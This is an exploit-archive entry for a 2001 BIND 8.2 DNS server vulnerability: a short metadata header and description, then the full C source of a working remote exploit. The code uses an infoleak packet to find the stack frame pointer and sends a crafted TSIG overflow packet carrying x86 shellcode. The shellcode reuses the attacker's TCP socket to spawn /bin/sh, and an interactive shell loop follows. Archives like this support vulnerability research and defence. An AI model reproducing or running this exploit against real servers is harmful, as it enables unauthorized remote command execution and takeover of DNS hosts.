header-logo
Suggest Exploit
vendor:
BIND DNS Server
by:
LAST STAGE OF DELIRIUM
7.5
CVSS
HIGH
Infoleak
CWE
Product Name: BIND DNS Server
Affected Version From: BIND 8.2
Affected Version To: BIND 8.2.2-PX
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Slackware 4.0/RedHat 6.2
2001

Exploit for BIND 8.2 DNS Server

The code establishes a TCP connection with port 53 of a target system. It makes use of the "infoleak" bug (through UDP) to obtain the base value of the named process frame stack pointer, which is later used for constructing proper DNS tsig exploit packet. Upon successful exploitation, the assembly routine gets executed. It walks the descriptor table of the exploited named process in a search for the socket descriptor of the previously established TCP connection. Found descriptor is duplicated on stdin, stdout and stderr and /bin/sh is spawned. The use of such an assembly routine allows successful exploitation of the vulnerability in the case when vulnerable DNS servers are protected by tightly configured firewall systems (with only 53 tcp/udp port open).

Mitigation:

Apply patches and updates for BIND DNS Server.
Source

Exploit-DB raw data:

/*## copyright LAST STAGE OF DELIRIUM feb 2001 poland        *://lsd-pl.net/ #*/
/*## bind 8.2 8.2.1 8.2.2 8.2.2-PX                  Slackware 4.0/RedHat 6.2 #*/

/* The code establishes a TCP connection with port 53 of a target system.     */
/* It makes use of the "infoleak" bug (through UDP) to obtain the base        */
/* value of the named process frame stack pointer, which is later used        */
/* for constructing proper DNS tsig exploit packet.                           */
/*                                                                            */
/* Upon successful exploitation the assembly routine gets executed. It        */
/* walks the descriptor table of the exploited named process in a search      */
/* for the socket descriptor of the previously established TCP connection.    */
/* Found descriptor is duplicated on stdin, stdout and stderr and /bin/sh     */
/* is spawned.                                                                */
/*                                                                            */
/* The use of such an assembly routine allows successfull exploitation of     */
/* the vulnerability in the case when vulnerable dns servers are protected    */
/* by tightly configured firewall systems (with only 53 tcp/udp port open).   */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

char msg[]={
    0xab,0xcd,0x09,0x80,0x00,0x00,0x00,0x01,
    0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
    0x01,0x20,0x20,0x20,0x20,0x02,0x61
};

char asmcode[]=
    "\x3f"                 /* label len 63                   */
    "\x90\x90\x90"         /* padding                        */

    "\xeb\x3b"             /* jmp     <asmcode+65>           */
    "\x31\xdb"             /* xorl    %ebx,%ebx              */
    "\x5f"                 /* popl    %edi                   */
    "\x83\xef\x7c"         /* sub     $0x7c,%edi             */
    "\x8d\x77\x10"         /* leal    0x10(%edi),%esi        */
    "\x89\x77\x04"         /* movl    %esi,0x4(%edi)         */
    "\x8d\x4f\x20"         /* leal    0x20(%edi),%ecx        */
    "\x89\x4f\x08"         /* movl    %ecx,0x8(%edi)         */
    "\xb3\x10"             /* movb    $0x10,%bl              */
    "\x89\x19"             /* movl    %ebx,(%ecx)            */
    "\x31\xc9"             /* xorl    %ecx,%ecx              */
    "\xb1\xff"             /* movb    $0xff,%cl              */
    "\x89\x0f"             /* movl    %ecx,(%edi)            */
    "\x51"                 /* pushl   %ecx                   */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\xb0\x66"             /* movb    $0x66,%al              */
    "\xb3\x07"             /* movb    $0x7,%bl               */
    "\x89\xf9"             /* movl    %edi,%ecx              */
    "\xcd\x80"             /* int     $0x80                  */
    "\x59"                 /* popl    %ecx                   */
    "\x31\xdb"             /* xorl    %ebx,%ebx              */
    "\x39\xd8"             /* cmpl    %ebx,%eax              */
    "\x75\x0a"             /* jne     <asmcode+62>           */
    "\x66\xbb\x12\x34"     /* movw    $0x1234,%bx            */
    "\x66\x39\x5e\x02"     /* cmpw    %bx,0x2(%esi)          */
    "\x74\x08"             /* je      <asmcode+70>           */
    "\xe2\xe0"             /* loop    <asmcode+32>           */

    "\x3f"                 /* label len 63                   */

    "\xe8\xc0\xff\xff\xff" /* call    <asmcode+6>            */
    "\x89\xcb"             /* movl    %ecx,%ebx              */
    "\x31\xc9"             /* xorl    %ecx,%ecx              */
    "\xb1\x03"             /* movb    $0x03,%cl              */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\xb0\x3f"             /* movb    $0x3f,%al              */
    "\x49"                 /* decl    %ecx                   */
    "\xcd\x80"             /* int     $0x80                  */
    "\x41"                 /* incl    %ecx                   */
    "\xe2\xf6"             /* loop    <asmcode+76>           */
    "\xeb\x14"             /* jmp     <asmcode+108>          */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x5b"                 /* popl    %ebx                   */
    "\x8d\x4b\x14"         /* leal    0x14(%ebx),%ecx        */
    "\x89\x19"             /* movl    %ebx,(%ecx)            */
    "\x89\x43\x18"         /* movl    %eax,0x18(%ebx)        */
    "\x88\x43\x07"         /* movb    %al,0x7(%ebx)          */
    "\x31\xd2"             /* xorl    %edx,%edx              */
    "\xb0\x0b"             /* movb    $0xb,%al               */
    "\xcd\x80"             /* int     $0x80                  */
    "\xe8\xe7\xff\xff\xff" /* call    <asmcode+88>           */
    "/bin/sh"

    "\x90\x90\x90\x90"     /* padding                        */
    "\x90\x90\x90\x90"
;

int rev(int a){
    int i=1;
    if((*(char*)&i)) return(a);
    return((a>>24)&0xff)|(((a>>16)&0xff)<<8)|(((a>>8)&0xff)<<16)|((a&0xff)<<24);
}

int main(int argc,char **argv){
    char buffer[1024],*b;
    int i,c,n,sck[2],fp,ptr6,jmp,cnt,ofs,flag=-1;
    struct hostent *hp;
    struct sockaddr_in adr;

    printf("copyright LAST STAGE OF DELIRIUM feb 2001 poland  //lsd-pl.net/\n");
    printf("bind 8.2 8.2.1 8.2.2 8.2.2PX for slackware 4.0/redhat 6.2 x86\n\n");

    if(argc<2){
        printf("usage: %s address [-s][-e]\n",argv[0]);
        printf("    -s  send infoleak packet\n");
        printf("    -e  send exploit packet\n");
        exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],"se"))!=-1){
        switch(c){
        case 's': flag=1;break;
        case 'e': flag=2;
        }
    }
    if(flag==-1) exit(-1);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(53);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1) {
        if((hp=gethostbyname(argv[1]))==NULL) {
            errno=EADDRNOTAVAIL;goto err;
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }

    sck[0]=socket(AF_INET,SOCK_DGRAM,0);
    sck[1]=socket(AF_INET,SOCK_STREAM,0);

    if(connect(sck[0],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;
    if(connect(sck[1],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;

    i=sizeof(struct sockaddr_in);
    if(getsockname(sck[1],(struct sockaddr*)&adr,&i)==-1){
        struct netbuf {unsigned int maxlen;unsigned int len;char *buf;};
        struct netbuf nb;
        ioctl(sck[1],(('S'<<8)|2),"sockmod");
        nb.maxlen=0xffff;
        nb.len=sizeof(struct sockaddr_in);;
        nb.buf=(char*)&adr;
        ioctl(sck[1],(('T'<<8)|144),&nb);
    }
    n=ntohs(adr.sin_port);

    asmcode[4+48+2]=(unsigned char)((n>>8)&0xff);
    asmcode[4+48+3]=(unsigned char)(n&0xff);

    if(write(sck[0],msg,sizeof(msg))==-1) goto err;
    if((cnt=read(sck[0],buffer,sizeof(buffer)))==-1) goto err;
   
    printf("stack dump:\n");
    for(i=0;i<(cnt-512);i++){
        printf("%s%02x ",(i&&(!(i%16)))?"\n":"",(unsigned char)buffer[512+i]);
    }
    printf("\n\n");

    fp=rev(*(unsigned int*)&buffer[532]);
    ofs=0xfe-((fp-(fp&0xffffff00))&0xff);
    cnt=163;

    if((buffer[512+20+2]!=(char)0xff)&&(buffer[512+20+3]!=(char)0xbf)){
        printf("system does not seem to be a vulnerable linux\n");exit(1);
    }
    if(flag==1){
        printf("system seems to be running bind 8.2.x on a linux\n");exit(-1);
    }
    if(cnt<(ofs+28)){
        printf("frame ptr is too low to be successfully exploited\n");exit(-1);
    }


    jmp=rev(fp-586);
    ptr6=rev((fp&0xffffff00)-12);
    fp=rev(fp&0xffffff00);

    printf("frame ptr=0x%08x adr=%08x ofs=%d ",rev(fp),rev(jmp),ofs);
    printf("port=%04x connected! ",(unsigned short)n);fflush(stdout);

    b=buffer;
    memcpy(b,"\xab\xcd\x01\x00\x00\x02\x00\x00\x00\x00\x00\x01",12);b+=12;
    for(i=0;i<strlen(asmcode);i++) *b++=asmcode[i];
    for(i=0;i<(128>>1);i++,b++) *b++=0x01;
    memcpy(b,"\x00\x00\x01\x00\x01",5);b+=5;
    for(i=0;i<((ofs+64)>>1);i++,b++) *b++=0x01;

    *b++=28;
    memcpy(b,"\x06\x00\x00\x00",4);b+=4;
    memcpy(b,&fp,4);b+=4;
    memcpy(b,"\x06\x00\x00\x00",4);b+=4;
    memcpy(b,&jmp,4);b+=4;
    memcpy(b,&jmp,4);b+=4;
    memcpy(b,&fp,4);b+=4;
    memcpy(b,&ptr6,4);b+=4;

    cnt-=ofs+28;
    for(i=0;i<(cnt>>1);i++,b++) *b++=0x01;

    memcpy(b,"\x00\x00\x01\x00\x01\x00\x00\xfa\xff",9);b+=9;


    if(write(sck[0],buffer,b-buffer)==-1) goto err;
    sleep(1);printf("sent!\n");

    write(sck[1],"/bin/uname -a\n",14);
    while(1){
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(sck[1],&fds);
        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&fds)){
                if((cnt=read(0,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(sck[1],buf,cnt);
            }
            if(FD_ISSET(sck[1],&fds)){
                if((cnt=read(sck[1],buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(1,buf,cnt);
            }
        }
    }
    exit(0);
err:
    perror("error");exit(-1);
}


// milw0rm.com [2001-03-01]